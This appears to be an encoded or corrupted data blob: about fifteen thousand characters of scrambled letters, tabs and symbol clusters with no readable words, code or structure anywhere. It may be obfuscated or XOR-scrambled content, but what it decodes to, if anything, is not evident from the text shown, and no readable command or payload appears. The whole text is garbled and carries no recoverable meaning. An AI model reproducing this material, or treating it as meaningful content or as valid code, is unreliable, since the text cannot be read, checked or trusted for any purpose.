VRGGGGGIGQ^	UOVWRRNNNGGGmmmmGGGGGC
SURS	<:GZG8T OQQ_NOCS
VRKGGGG _	S^OVUQ_NN\m		\mGGGGGmGGGGGGmmmmGGGGOC
	WRGGGYGGGWNGGGmmGGGGGGC
SURS	GGGZGGG _	S^OVUSPNOC
SURS	KGGGU

^OCS
VRKGGGGGGC
	WRNN\mGGGGGGGmGGGmGmGGGGGG	GC
SURS	\mGGGmG		GGGG
_SRR^_ONmGGGmGCWQRQGGGZGGON\mmmC_V	RGGGGZGGT
OQQ_NO&%47&3/KGT
OVUQ_NN\mGGGGGmGGGCQ	RGGZGGGGON\mGGOC_V	RNGmCQ	R<:GZGGGGGGQ^	UOVUSQNOC_V	RN\mGGGGGCQ	R<:GZGT
OVUSQNO8T OVUSQNOC_V	RNN\mmmmGGGGGGCQ	R<:GGZGT
OVUQ^NOQ^	UOVUQ^NOT
OVUQ^NOC_V	RNNN\mmmmGmGCQ	R<:GGGZGQ^	UOVUPWN\mGCQ	R<:GGZGGGT
OVUPVN\mGCQ	R<:GGZGQ^	UOVUPUN\mCQ	R<:GZGGG _	S^OVUPTN\mGGGGCQ	R<:GZGGG _	S^OVUPSN\mGGGGGGGCQ	R<:GGGZGGGGG _	S^OVUPRN\mmCQ	R<:GZGQ^	UOVUPQN\mmGGGGGGmGGC^QVS8GGGZGGT
OVUUWNO8T OVUPPNNGGGXGGO	 NGGG'8T OVUP_NOT
OVUP^NNG]GEE\mGGGGGGOC^QVS8GGGGFZZGEENGGGGGmGC UV^TRWGGZGGO8T OVU_WNOC^QVS8KGGG@\@NGGGFZZGNGGGXGGGG@\@G]GGGGGG@]@\mGGGO8T OUUWNOC UV^TRWKGGC^QVS8NGGGCT
TUP	VNGGGmGCT
TUP	VGZGGGGGGQ^	UOVU_VNOCT
TUP	VN\mGOCT
TUP	VGGGGFZZGGGEENGmGGGGCQ	R<:GGZGGGGCT
TUP	V\mGGGGGGmGmGGGGGGGmGmGGGGCQ	RGZGQ^	UOVU_UNO _	S^OTP^NOCQ	RNN\mGGGGGGCRR^GGGGGGZGGT
OVU_TNON\mmGGGGGCWQRQGGGZGON\C8^W
Q_ZSWPV\CW^V	ZC8^W
Q_9UU_\mGGGGGGmGGGOCQ	RGGGGGGCPVWNGGGGmGGmGGGGGOFGG'Q^	UOVUQUNOCPVWNGGGFG' _	S^O_VVNOCPVWNNGGmGGG		\mmmmGGOOQ^	UOVU_TNONGJGCRR^NGGGGYGOWVLW^NNGGGmG\mGGmGmmmmGGGGGCWQRQGZGGQ^	UOVUSPNOCWQRQKGGGGU

^OCPVWKGUNN\C	PW W^ZOWVLWPQN\C^V^
ZC	PW W^BVS\mGGmmmGGGGGGGGGO3GGGC	VRV8UNGmGSS_UU8OQ^	UO^PQNKGGC	VRV8UN\mGGGGGGGO"	GGC	VRV8UNGGGCP_Z7/78*&-(581"54.()\C88^8ZCP_MT\mmGGGmGGmGG	GQ^	UOV^QNOT
OVU_UNOCWQRQNKGGGGOC_V	RNN\mGGmmGGGmG		GGG_	T	 W^OC^  RSNmGGGGmGGGGGGmC 
	PGZGGOC^  RSGGIGGGGQ^	UOVU_SNKGC^  RSGGGIGG _	S^OVU_RNN\mGGGGGOC 
	PGGGGCPVWNGmGGGGOFGGGG'8T OVUQUNOCPVWNNGmGGGG		\mmGGGGCRU^RWRGGGZGGUVT	PRPOCPVWN\mGGGGGGGGOF8T OVUQTNOCRU^RWRNNGGGGCSU8
TZOWULWSN\CTZCSU8
TB^\mG		\mGGmGGGGGGGOCRU^RWRGGGGGGC	VRV8UNGGmGGGGGGGO _	S^OVVTVNOC	VRV8UKGGGGJOULUNNGZZZGGGGGQ^	UO^__NGGGGAAGGGG^8TOCPVWGGGGGIGGGG@H@GIGGC	VRV8UKGOS^_RLVRNNNGGmmGGG	G\mGmGGmGGOCRU^RWRGGGGGC	VRV8UNGGmGGC8SR
^VGGGGGZGGGCPVWGGGIG@H@GIGGC	VRV8U\mmmGGGGOFG'8T OVU_QNOC8SR
^VNNGGmGGG		\mmGGmGGGCTS S^_
PGGGGGZGUVT	PRPOC8SR
^VN\mGGGGGGGOFQ^	UOVUQTNOCTS S^_
PNNGGGGGm		\mGGGmGGGGGGGGOCTS S^_
PGGGCU
V

PNGGGmGO _	S^OVVTVNOCU
V

PKGJOWVLWTNNGGZZZG _	S^O^__NGGAAGG^8TOC8SR
^VGGIGGG@H@GIGGGGCU
V

PKGGOWVWULWTRNNNGGmmmmG	G\mGGmmGmGmmGGGGGGO3GGGGC	VRV8UNGmHHG'GmmGGSS_UU8OQ^	UOVU_PNKGGGGC	VRV8UN\mGGGO"	GGGGGGC	VRV8UNGGGmmGGGGGmGGGGGG	GG\mGGGmGG		GRTT^ONmmGGGGGmGGO
VT_QUV
 ROVQ^^WWT
WONNNG	\mGGGmmmGGO 8		OQ^	UOVU__NNNGGGmG	\mmmGGGmGmmGGGGCWSV 	GGGGGZG	
UVUON\mGGGGGGGOFGGCWSV 	GGQ^	UOVUQSNOCWSV 	NGG[GGO^PSLUQNNGGmGGG	\mGGmGGGGGGOFGR	^W8POCWSV 	NNGGGGmSS_UU8O _	S^OVU_^NKGQ^	UO_PTNN\mGGG	\mmHHG07G7G3]G	GJ
mmmmCWQRQGZGG
_SRR^_ON\mmGGGGGGO
OCWQRQNNGGGmGGGGOF 8		O8T OVU^WNNNGGmmGSS_UU8OQ^	UOVU_^NKGGGGQ^	UOVU^VNN\mGG8		OT
OVU^WNKGGGGVKGGGGOWWLWTPWNN\mGGGGGGGmGGGGGGGG8		O8T OVU__NKGGGGVKGGOVRP^RQLVWVUSSNN\mGGGG	\mmmGGGGGmmGCWSTUVGGGZGGGW\mGGGGOCWQRQGGGGGGGC^  RSNGGGmmmmGGmmmmGGGO_	T	 W^OC^  RSNNGGm		\mGmGGGmGGGCTSUSGGGGGZGGEE\mGGCV 
^GGZGGGGC^  RSGGIG8T OVU_SN\mmGGGO'Q^	UO_PQNOCV 
^NGAAGGF'Q^	UOVU_QNOCV 
^NNGGmGGGCV 
^GGGGZGGG	\mmmGGGGGGGOF' _	S^OVU_QNOCV 
^NNGGGGGmmmmG8	VSS OCV 
^KGOSTWLQTNKGGN\mmmmmGGGGGOCV 
^GGAAGOF'Q^	UOVU_QNOCV 
^NGGGGGGGGF' _	S^O_P_NOCV 
^NNNGGGmGGGGGGGCV 
^GZGG	\mGGGGGGGmGGGOCV 
^NGmmmmCS	^R_GGZGGCV 
^GIGGGGG@H@GIGGG_R T_R^ON\mmmCPRSGGGZGT
VR	OCWSV 	N\mGGC_W8R	GGZGGGT^UWPU	P^OCS	^R_KGGCPRSKGG8T OVU_^NN\mGGGGOC_W8R	GGGGAAGGGC_W8R	GGYZGGG _	S^OVUQSNOCPRSNNGGGmmmCTSUSGGGZGGCS	^R_\mGGGmGGGGGmGGGGGGGmmGGGGGGGOFGGCTSUSNGGGmGGGGGCR^	
RGZGGT
O_UUNO_R T_R^ONKG7&3/.)!(8!.+")&*"N\mGGGC88GGGGZGC^  RSGGGGIGQ^	UOVU^UNGIGCR^	
R\mGGGGOFGGGG'Q^	UOVU_QNOC88NNGGmG8	VSS OC88KGOSUQLQPNKGGGGGN\mGGmGGGGGGGCS	^R_GGGZGGC88GIGG@H@GGIGG_R T_R^ON\mGGGGCPRSGGGGZGGGT
VR	OCWSV 	N\mGGGGGGC_W8R	GGZGGT^UWPU	P^OCS	^R_KGGGCPRSKGGGGT
OVU_^NN\mGGGmmGGGGGGGGGGOC_W8R	GGGGAAGC_W8R	GGYZGGG8T OVUQSNOCPRSNNGGGGmCTSUSGGZGGGGGCS	^R_\mmC	
GGGZGGGGGCR^	
RGGIGG@H@GGGIGGGG_R T_R^ON\mmmGG^
WP_^_SWUOC^  RSKGGGGGC	
N\mGGGGmGGGmGGOFGCTSUSNGGGGmG		\mGm^SSSVTOCTSUSN\mGGT8OCTSUSKGGGOWPVLWTNN\mmmGGCWSTUVLL\mmmmmGGGGGGGGOCWSTUVGYGWNGGmGG8		O _	S^OVU^TNKGGGVKGOWU^TLWSVNN\mGGGGGGGGGGGmGGGGGG8		OQ^	UOVU^TNKGGVKGGGGGORR_LTWSUNN\mGGGmmGGGGGGGGGGGO3GGGGC	VRV8UNGGGGmGGSS_UU8O8T OVU_^NKGGGC	VRV8UN\mGGGGGO"	GGGGC	VRV8UNGGmmGGmGGG		G^
WP_^_SWUOC^  RSKGGC	
NmmGGGGGGGGGmmmmGC^RR	GGGGZGGGC^  RSGGGGIGGGT
OVU^SN\mGGGGGOFGG'Q^	UOVUS^NOC^RR	NNGmGGGGC^RR	GGZGGGGQ^	UOVUQ^NOC^  RSNGGGGIG _	S^OVU^RN\mGGGGGGOFGGG'Q^	UOVUS^NOC^RR	NNGGGmGGGG	\mGGGGmGGGGmmmGC
U WWGGGZGG'8T OVVURNOC^RR	N\mGGOFGC
U WWNGGGGmGGG	\mGGmGCU8GGGGGGZGGEE\mCGZGEE\mmmGGGGGGGGGOQ^	UO_WQNOT
OVU^QNKGGGC
U WWKGGGCPVR^
	Q^PNNGC_	ZVURS_\C88V8ZC_	9RU\mmCU8GGZGGCPVR^
	Q^P<V:\mGmGOT
O_WQNO8T OVU^PNKGGGC
U WWKGGGCPVR^
	Q^PNNGGmGGGGCGGGZGGGGGCPVR^
	Q^P<V:\mmGGGOFGGGGGCU8GGGGGGGGFGCGGGGGGGFG8T O_WQNOT
OVU^_NKGGGGCNNGGGGmGG	\mmGGGGGGmmmCGZGGGGC +(%&+4<8T OVU^^N:\mGGGGGGGGOFGGGGT
OVWPQNOCNGGGFGG _	S^O^^NOCKGG _	S^OVTWWNNNGGGmGGGGGG	\mmGOFGGGGGGQ^	UOVTWVNO _	S^OVTWUNKGGGGGCU8NNGGGmGSS_UU8OT
OVTWTNKGGQ^	UOVTWSNN\mG	\mmmmGmGGGGGGGGCT UP	GGZGGG@@GGIGGGGCU8GGGGIG _	S^OVTWRNGIGGCGGIGT
OVTWQN\mGGGCJYO8T OVTWPNN\mGGCPU
PGZGGGGCJY 8O@4@GIGGGQ^	UOVTW_NGGIGGGCT UP	GGIGGQ^	UOVTW^NGGIGGGG8T OVTVWNGGGGIGGGG _	S^OVTVVNN\mGGGGGGGGGOCPU
PGGGGZZZG	NGmCJYO _	S^OVTVUNN\mGGG	\mmGGGGmGGGGGGGCVTT	GGGGZG
^8_UOCPU
PN\mGGOFGGGG _	S^OVUQTNOCVTT	NNGmmmmGGGGGCJYO8T OVTVTNN\m	\mGmGGGOT
OP^QNOC	
KGGCVTT	KGNNGmGCJYO _	S^OVTVSNN\mGGGG	\mmmGGGGGCVTT	<:GGZGC	
\mmGGGCVTT	GGGGGZGG _	S^OPWUNOCVTT	N\mGGGGGGC
^S GGZGGQ^	UOT^QNOCVTT	N\mGC88QRTGGZGGCJYOCJYO@2@GGGIGGGGG _	S^OVTVRNGGIGGGGGCT UP	GGGIGGGG8T OVTVQNGIGGG8T OVTVWNKGC
^S NN\mmmmGGOC88QRTGGGZZZGGNGGmmmmSS_UU8OT
OVTVPNKGGGG8T OVTV_NN\mCJYOT
OVTV^NN\mmm	\mGmGGCJYOQ^	UOVTVSNN\mGGGGGGGGGGO3GGGC	VRV8UNGGmGGGGGGGSS_UU8OT
OVTVPNKGGC	VRV8UN\mGGGGGGOQ^	UOVTUWNOC +(%&+4<T
OVU^^N:NNGGGmG'C +(%&+4<T
OVTUVN:JYOT
OVTV^NN\mGmGGGGGO"	GGC	VRV8UNGGGGmmmGGGGGGSS_UU8OQ^	UOVTVPNKGGC	VRV8UN\mGGGGGOT
OVTUUNOC +(%&+4<8T OVTUVN:NNGGGm'C +(%&+4<Q^	UOVTUVN:JYOQ^	UOVTV^NN\mGGGGGGGmGGGmmmGGmGG		GGGS_8_WQONmGGGmGGGGGC
U WWGZGG	\mGGOC
U WWGFZZGGGGG	NGG	GGC
U WW\mGGGGGOF8T OVTUTNO8T OVTUSNNNGGmC
U WWGGGZGGGGEE\CSZTQVUT\CPTST
_ZCS9UW^\mGGGG	GGC
U WW\C_ RTZ7/78.)38*&?H7/78.)38*&?\C
UZC_ RTLVW\mmGGGGmC
U WWGGGGGGZGGG' 	O8T OSWUNO8T OVTURNNN\mmGGGGGOF _	S^OVTUQNOC
U WWNGGGGGGGG8T OVUQSNOC
U WWNGGGG[GOSL^QNNGGC
U WWGZGGGGEE\mG	GC
U WW\mGGGmG		GU	WWTRWSONmGGGmmGGGmGOF	OQ^	UOVUUQNNNG	\mCUWGGGGGZGGT
OVVQRNOVQ^^WWT
WONKGGGGGQ^	UO^__NN\mGC_S _^QSGGGGZGGG^O&%47&3/GGIGQ^	UOVTUPNKGGGGOS[[VNNGGGIGGT
OVTU_N\mC	T^GZGG^O&%47&3/GIGGG _	S^OVTU^NKGGGOVUS9VVQNN\mC_	 
RSGGZGGGG8T OVTUTNO _	S^OVTTWNNGGXG		8ONG]GGGEE\mGGGGGOC_	 
RSGGZZZGGGGEENGGGGmGGGGGGGGC_	 
RSGGGZGGO8T OVTUTNOT
OQSWNNGGGXG 88ONG]GGGGEENGGGGGIGG _	S^OVTTVN\mGmHHGG

	GG*46+G	G		mmGCPPSGGGZGGGG _	S^OSW^NO8T OVTTUNKGGGGT
OVTTTNKGC_	 
RSGGGIGGGG@H@GGGGIGGGGGGC_S _^QSN\mGGGGGGGO _	S^OVTTSNOCPPSKGGQ^	UOVTTTNNGGFZZGWNGCPPSGGZGG8T OVTTTNGIGGQ^	UOVTTRNOCPPSKG@H@N\mGGGGCPTGGGZGGGGGG _	S^OVTUTNO _	S^OP_TNNGXGG
8OT
OVTTQNGGIGG8W	 	
8ROQ^	UOVTU^NNNGG]GEE\mGGGGGGGGOCPTGGGGZZZGGGGEENGGGCPTGZGGG8T OVTTTNGGGGGIGGGGGG WOEENGIG _	S^OVTTPNGGIG8W	 	
8RO8T OVTT_NN\mGO _	S^OVTTSNOCPTKGGGGQ^	UOVTTTNNGFZZGGWNGCPTGGZGGGG8T OVTTTNGGGIG _	S^OVTTRNO8T OVTT^NOQ^	UOVTSWNKGGGGGEEKGGGGGGCPTNKGGGG@H@N\mGC 	PGGGZGOC +(%&+4<8T OPUUN:NGGAAGGQ^	UOVTSVNOC +(%&+4< _	S^OVTSUN:NGGXGC +(%&+4<8T OVTSUN:GGGG]GEE\mGGGGGGGOQ^	UOVUQSNOC 	PNGG[GGGGGGO_WLUWNNGGmGGGGGGC 	PGGZGGGGUTQ	8RO8T OSVTNKGGEEN\mmGGGGGGO _	S^OVUQSNOC 	PNGGGGG[GGGGOVUW9U_NNGGmGGC 	PGGGZGGS_8_WQON\mmmmGGGGmC8R8GZGEE\mGGGGGGGOOC +(%&+4<Q^	UOS__N:NGGGGAAG _	S^OVTSVNOC +(%&+4<Q^	UOS__N:NGAAGGG8T OVTSTNOC +(%&+4< _	S^OS__N:NGGGGGGYGGOPUJUUNNGmGGGC8R8GZGGGGGGC +(%&+4<8T OS__N:\mGGGGGGGGmGGGC8R8GGZGGGGGUTQ	8RO8T OPV^NKGGEEN\mmmGGmHHGG
	 mmGGGGOT
OVTSSNOC8R8NGGGGGYGGGGOSVL^NNGmG8UQ	
UUOQ^	UOPV^NKGC8R8KG _	S^OVTSRNN\mGGGGmGGC	 GGGZGQ^	UOVTUTNOQ^	UOP_TNNGXGGGO	 NG8T OVTSQNO
8O@H@NKGGGG7/7825+87&3/NGGGG]GG@H@\mGGGGGGOC	 GGGZZZGEENGGC	 GZGGG@H@\mGO8T OVTSPNOC	 KGGJVNGGFZZGG@H@NGC	 GGIZGGG@H@\mGGCPUWV	GGZGGOmGGGGGGGG _	S^OVTS_NGGZYGG	S	P
	V_ ONKmm _	S^OVTS^NGZYGG 8PWUSWONKmmmmGGGQ^	UOVTRWNGGGZYGGGGGC	 KmN\mmGCP
	VVWGGGZGGGOmGGG _	S^OVTRVNGGZYGGCPPSKmGQ^	UOVTRUNGGGZYGGCUWKmmmGGGQ^	UOVTRTNGGZYGGGGCPTKmmGGQ^	UOVTRSNGGGGZYG^O&%47&3/GGGGIGGGGG _	S^OVTRRNKGGGGOS^9QVNNKmG _	S^OVTRQNGGGZYGC8R8KmGGN\mGCR	8SGGZGU ^STT	88O _	S^OVTRPNKGEEN\mGGGGGOF8T OVTR_NOCR	8SNGGGGGGT
OVTR^NOCR	8SNGZZZGWNGGGmmG	\mGGmGGGGGGGGC_S^GGZGGG _	S^OT^^NOSWTP^8O _	S^OVTQWNOCP
	VVWNKGCR	8SNN\mCUTS
SQ GGGZGGGT
OVTQVNGGGIGGGGQ^	UOT^^NOT
OVTQUNOCPUWV	NNGGGIG _	S^OVTQTN\mGGCUTS
SQ GIZGGGQ^	UOVTQSNGIGC_S^GGGIGGQ^	UOVTQRN\mGGG8UQ	
UUOT
OVTQQNKGCUTS
SQ KGGGG8T OVTSRNN\m8UQ	
UUO _	S^OVTQPNKGGGGG _	S^OVTQ_NOO	 NGGGC 	PGGIGGO	 NGGC8R8GGGIGCR	8SGGGIGGGGGG@@GGGIGQ^	UOPPNO WOEENNNKGGGQ^	UOVTSRNN\mGGGCW
GGGGGGZGGGGG _	S^OVTUTNO _	S^OP_TNNGXGGGG
8O8T OVTTQNGGGGIGGGGG8W	 	
8RO _	S^OVTQ^NNNG]GGGGGEE\mGOCW
GGZZZGGGGEENGGGCW
GZGGGGGQ^	UOVTTTNGGIGGG WOEENGGGIGT
OVTPWNGGGIGG8W	 	
8ROT
OVTPVNN\mGGGGGGGOQ^	UOVTPUNOCW
KGGG8T OVTTTNNGGFZZGGGGWNGGCW
GGGZGG8T OVTTTNGGGIGGQ^	UOVTPTNO _	S^OVTT^NO _	S^OVTSWNKGEEKGGCW
NKGG@H@N\mG8UQ	
UUOT
OVTPSNKGGGGGGCW
KGGG _	S^OVTPRNN\mmmGGGOQ^	UOVTR^NOC 	PNGGGG[GGOWUPLWTNNGGm	\mGGGGGm8UQ	
UUOT
OVTPQNKGGC 	PKGGQ^	UOVTPRNN\mGGGGGOF P_^R		SW ONNGGGG	\mmGGGGGCQV	GGZGG
U	_T _ON\mGGGGGGOF' _	S^OVTPPNOCQV	NNG8	VSS OCQV	KGGGGOS_ULVVNKGN\mGOF' _	S^OVTPPNOCQV	NGGGGGGF'Q^	UO_P_NOCQV	NNG	\mGCVW_GZGCQV	GGGGIGGG@H@GGIGC	T^GIGGGG _	S^O^__N\C		
ZVSTVQ^\CTSZC		
9VTQ\mGCQ^QS
	_GZGG	^8
SSQ8S^OmmmGG8T OVTP_NKmGGGO@884+2 88@KG@88=.78)&*"88@KGGG@8805.3"8,">88@KGGG@881"54.()88@NKmmmOCUWKGGC_S _^QSKGG^O&%47&3/GGGGIGGQ^	UOVTRRNKGGOVVLVNNKG _ Q	QTPONNmmmGGN\mGGGGGOFCQ^QS
	_NGGGGGmGGGGOO	NG 8	OQ^	UOPSPNKGWNGGGGGGYGGWNGGGSS_UU8OT
OVTP^NKG _	S^OVT_WNN\mG	\mmmmGGGGmGGGGGGGOF'Q^	UOVV^WNOCVW_NGGGG8T OVTQ_NO8_PRSPOO	 NGGGG'T
OVVURNOCVW_NNNGGFZZGG _	S^OVTQ_NOCQ^QS
	_NNGmGGGGT^UWPU	P^OCVW_KGGGCQ^QS
	_KGGQ^	UOVT_VNN\mGGWWSPP	8T_ OCVW_KGVSQONN\mmGT8OCVW_KGOW_LWNN\mmGGW^SS^8OCVW_N\mGGGmGGGGGGGGGGO3GGC	VRV8UNGmGGSS_UU8O8T OVTP^NKGC	VRV8UN\mGGGGGGGGO"	GC	VRV8UNGGGmGGmm		GGG	^8
SSQ8S^OCKGCQ_

VRVKGGGC		W
UNmGGGGmGC8 

S GGGGZGGGG	\mmGGGGGGGGGOC8 

S GGGZZZGGGG	NGGGmGGC8 

S GZGG8T OVTUTNO _	S^OVT_UNNGGGXG 8		OV8 ^PRRPWONNGG]GGG\mGGGGOFG _	S^OVT_TNOC8 

S NNGGmmGGC8 

S GZGGG^WS	8_SO8T OPRVNKGN\mmGGGGGGOFGT
OVT_SNOC8 

S NNGmGC8 

S GGZGGGON\mGGGGmHHG	GJ	GJmmGGmCQP 8GGGGGZGGGEE\mGGGOOC8 

S <C:NGGGAAGGGG8T OVTR_NOC8 

S <C:NNGmCQP 8GGZGGC8 

S <C:\CR^S^^ZURLQT\CUUQVZCR^S^^JSV\mGGGGmGGGGO8T OVT_RNOCQP 8NGG[GOTLSPNNGGGGGGmmmCQP 8GZGGGUTQ	8ROCKGEEN\mmmmGGO8T OVT_RNOCQP 8NG[GGOWVRLWVNNGG	G\mmmC
S_RUWVGGZG _	S^OSWUNOCQP 8KGN\mGGOFC
S_RUWVGGGGQ^	UOVT_QNOC
S_RUWVNGGGGG[GGOWTLWUNNGG	GGGGG\mmmGGGGGGOQ^	UOVTPUNOC
S_RUWVKGGGGG _	S^OUR^NNGZZZGGGNGG	G\mGC
S_RUWVGGGZGGGG _	S^OSW^NOCQ_

VRVKGGC		W
UKGGGC
S_RUWVN\mGGGGGGGO	O _	S^OUQVNNNGGGGmmGGGGmGGGGG'	8 8OC
S_RUWVKGG3(,")87&54"N\mGGGGGGGGGGO3GGGGC	VRV8UNGGm	GGGG\mmmGGGGGGGGGO"	GC	VRV8UNGGm	G\mmGGmmmGGGGGGOFR	^W8POC
S_RUWVNNGmGG	G\mmG	GGC
S_RUWV\mmGmGG		GGGG 
QRPVONmmmmGGmGGGGGGGGGGGmGGOFQ^	UOVTUTNOT
OVT_UNNNGGGG	\mGGGOF	O _	S^OVT_PNNNG	\mC8^^QGZGGGGQSQWP	UON\mGGGGGGGGOFC8^^QNGGGGGmGGGU	WWTRWSON\mGGGGGGGGC8^^QGGGGZGGQSQWP	UON\mGGmC GZGGUTQ	8ROQ^	UOVTRPNKGEEN\mGGGGGGGGGGGO8T OVT_QNOC NGZZZGGGWNGC GZGGGT
OVT__NOE;WWEKGGGOUTJPNN\mmmmGGGGCS	RQ	GGZGGGGGGOOC +(%&+4<T
OVTSUN:NGGGAAG8T OVTR_NOC +(%&+4<8T OVTSUN:NGGGGAAGGGGQ^	UOVT_QNOC +(%&+4<8T OVT_^N:NGYZGGOTVLQ^NNGGGXGGC +(%&+4<Q^	UOVT^WN:GGG]GUTQ	8RO8T OVTPQNKGGGEEN\mGGOQ^	UOVT^VNOCS	RQ	NGGGGGG[GGGGOVQL_SNNGGCS	RQ	GZGS_8_WQON\mGGC	U8R88VW_GGGZGGGOOC +(%&+4<Q^	UOS__N:NGAAGGGGQ^	UOVT^UNOC +(%&+4<T
OS__N:NGGGAAGT
OVT^VNOC +(%&+4<Q^	UOS__N:NGGGYGOSR9TVNNGGGXGC +(%&+4< _	S^OS__N:GG]GGUTQ	8ROT
OVT^TNKGGEEN\mGCVQ_T^GZGT
OVTQ_NOCS	RQ	GGIGC	U8R88VW_GGGGGIGC GGGGIGGGG@@GGGIGT
OPPNO WOEENNN\mGGGGGGGOUTQ	8ROQ^	UOVTQPNKGEENGGGGFZZGGGGCVQ_T^NGmGGGGGGU	WWTRWSON\mGC8^^QGGGZGQSQWP	UON\mmGGOF P_^R		SW ONNGG	\mGGGCS VQWGGZGUP_W
_^ON\C_U^8TZV_M^\C	STU_ZC_U^8TJVV\mC8PGGZGG'8T OVV^WNOCS VQWGGGGIGGGQ^	UOVT^SNN\mGGGOC8PGAAGC8^^QGGAAGGGGGG 8		OQ^	UOVT^RNNNGGGG	\mG8	QQ_RRSVON\mGGG	U	8^R^ON\mGGGGGGG8V^ PSON\mGCSW RGZGG'T
OVT^QNOCS VQWGIGG8T OVT^SNN\mmmGGGGC8^^QGGGGGGZGGGGGQSQWP	UON\mGGGOCSW RGAAGC8^^QNGGmGG8		O _	S^OVT^RNKGGGGVKGGOWRQLWQNN\mmmGGGGGO3GGGGC	VRV8UNGmGGGGGSS_UU8O8T OVT^PNKGGC	VRV8UN\mmmGGGGGGGGO"	GGC	VRV8UNGGmHHGJG	GG07G!G4G"	 mmmmmmmmmG		G	U	8^R^ONmGGGmmGGGGGGGmGGGGGGGGGGOF	OT
OVT_PNNNGGGG	\mGGGGGGGOT
OVT^_NONGZZZG _	S^O_SNNGG	\mGGGC S_SGGZG _	S^OVTUTNO8T OVUP_NNGXG'T
OVT^^NOT
OR_QNNGGG]G\mGGGGGGGOFC S_SGGGGC S_SGGGZZZGEEGGGGC S_SGGZZZGT
OVSWWNNGC S_SGGZGGGG8T OR_^N\mGGC	T^GGGZGG^O&%47&3/GGGGGGIG8T OVSWVNKGGGOVPS9VQQNN\mGGGCS VQWGGGGGGZGUP_W
_^ON\mCQV	GGZGGGG
U	_T _ON\mGGC_R^	SQP8GGGGGZGGGG^O&%47&3/GGGGGGIG _	S^OVW^VNKGGOSLSNNGGIGT
OVSWUN\mCSTSRGZGGCS VQWGIGG@H@GGGGGGIGC_R^	SQP8\mCV SPRGGZGGGCS VQWGGIGGG8T OVSWTNGGIGGGC_R^	SQP8\CRTT^VZ7/78*&-(581"54.()\CQRRZCRTT^VM_\mGGGGCUWGGZGGGGGQ^	UOVVQRNOVQ^^WWT
WONKGG8T OVSWUNN\mGC_S _^QSGGZGG^O&%47&3/GIGGT
OVTUPNKGGGGGOVQJ_NNGGGIGQ^	UOVTU_N\mCSRGGGGZGGGGGO	NGGGG 8	O _	S^OVSWSNKGGWN\mGGGGGOCSRGAAGGGGGQ^	UOVVSTNONGJGGGGCSRGG[GGOWQLWQUNNGmGGGWW	8SOCSTSRKGGG	N\mGGGGGWW	8SOCV SPRKGGG	N\mmmGGGGOOT
OQQ_NO&%47&3/KGGG _	S^OVUQ_NNKG _	S^OQQ_NOCS VQWKGGG _	S^OVSWRNNNGGGGGGGGGC_U
WTNGmGGGGGCT	STW	
GGZGC_U
WTGIGG@H@GGGGIGC S_S\mmmmGGGCTTW^ GGGZG'8T OVSWQNOCT	STW	
NGGGGXGGGGG'8T OVSWPNOCT	STW	
NGGG]GGEE\mGGGGGGGOT
OVT^UNOCTTW^ NGGGGGAAGGGGGQ^	UOVTPUNOCTTW^ KGC_R^	SQP8NGGFZZGNGGmGC^_RQUGGGZGGT
OVSW_NO _	S^OVSW^NGGGIGGGGGT
OVSVWNOC_R^	SQP8KGG@H@NGGIG8T OVSVVNKGGE;	EKGCTTW^ N\mmmmGGGGGGGGO8T OVT^UNOC^_RQUNGGGGAAGGGGGGC^_RQUGGFZZGCTTW^ NGGGGTST		RVOCT	STW	
KGGC^_RQUN\mmmmmHHG*46+G_G$3"G
	G
mmGmGGGG	\mmmmGGGCR VGGZGGG	^8
SSQ8S^OmmmmQ^	UOPT_NKmGGO@884+2 88@KG@88=.78)&*"88@KGGG@88.)438/&4/88@KGGG@88#&3&8#.588@KGG@88$()3")38#.58%QS88@KGGGGG@881"54.()88@NKmOCUWKGC_S _^QSKGC	T^KGGG _	S^OVSVUNGGGIG^O&%47&3/GIGGGGGGQ^	UOSRNKGOVSJQNNKGGGGQ^	UOT^^NO	OQ^	UOVSVTNNGGGGXGG078$()3")38#.5G]GUP_W
_^ONNKGG _ Q	QTPONNmGGGN\mGGGGGGGOFCR VNGGGmHHGG
JmmGGGGGGGOO	NGGGG 8	OT
OPSPNKGGWNGGGGGGYGGWNGGSS_UU8OT
OVSVSNKGG _	S^OVSVRNN\mGGGGGG	\mGGGGGGmGGOF'Q^	UOVTPPNOCQV	NNGGGG8	VSS OCQV	KGOWVU^LWSNKGGN\CQ^WZTMQ\C
^U
PZCQ^WJTS\mGCS__  U
GZGG\mGGGOF'T
OVT^QNOCV SPRNGGGGGGGQ^	UOVSVQNO8_PRSPOO	 NG'Q^	UOVSWPNOCV SPRNNNGGGGFZZGT
OVSVQNOCR VNNGmGGGGT^UWPU	P^OCV SPRKGGGCR VKGGGG8T OVSVSNN\mmmmGWWSPP	8T_ OCV SPRKGVSQONN\mmmGGGT8OCV SPRKGGGOSWPLVTNN\mGW^SS^8OCV SPRN\mGGCS__  U
GZGG\mmCT^SW^GGZGGGGGEE\mGGGGGOOT
OQQ_NO&%47&3/KGGGQ^	UOVSWRNNKGGQ^	UOQQ_NOCS VQWKGT
OVSVPNNNGGGGGGCPWR	QNGmmmmGGGGGGCWGZGG'Q^	UOVT^QNOCPWR	QGGGGIGG@H@GGIGGGGGGC S_SNGGGGGGXGGGG'T
OVSV_NOCPWR	QGGIG@H@GGIGC S_SNG]GGEE\mGGGGGO8T OVSV^NOCWNGGAAGGT
OVTWVNOT
OVSUWNKGGCWKGGGCRTUP_WNNGGGGmGGGGCRPUQUGGZGGGQ^	UOVU_VNOCRTUP_W<U:N\mGGGOCRPUQUGGGFZZGEEGGGGAAGGOCRPUQUKGG8T OVSUVNNGGZZZGGGGGGAAGGF 
_T W OCRPUQUNNGGGGmmmmGGGGCT^SW^GZGGGGGGCRPUQU\mGGG\mmmGGmGGGmGC	_UGGGGZGQ^	UO^^TNGGIGGGGGGOCT^SW^GGGFZZGEEGGXG8T OVSUUNGGGGIGGGG _	S^OVSUTNOCT^SW^KGNGIGG8T OVSUSNGGG]GGGEENmGIG _	S^OVSURNGGGIGC_R^	SQP8GGGGGGIGGGGQ^	UOVTQRNmIGGT
OVSUQNmGIGGGT
OVSUPNmIGGQ^	UOVSU_NGGGGIGGGQ^	UOVSVQNOCR VNGGIGT
OVSU^N\mmmGOF'T
OVT^QNOCSTSRNGGQ^	UOVSVQNO8_PRSPOO	 NGGGGGG'8T OVSTWNOCSTSRNNNGGFZZG8T OVSTVNOC	_UNNGmmT^UWPU	P^OCSTSRKGC	_UKGGGT
OVSTUNN\mGWWSPP	8T_ OCSTSRKGVSQONN\mmmmGT8OCSTSRKGOTS^LPVNN\mW^SS^8OCSTSRN\mGCS__  U
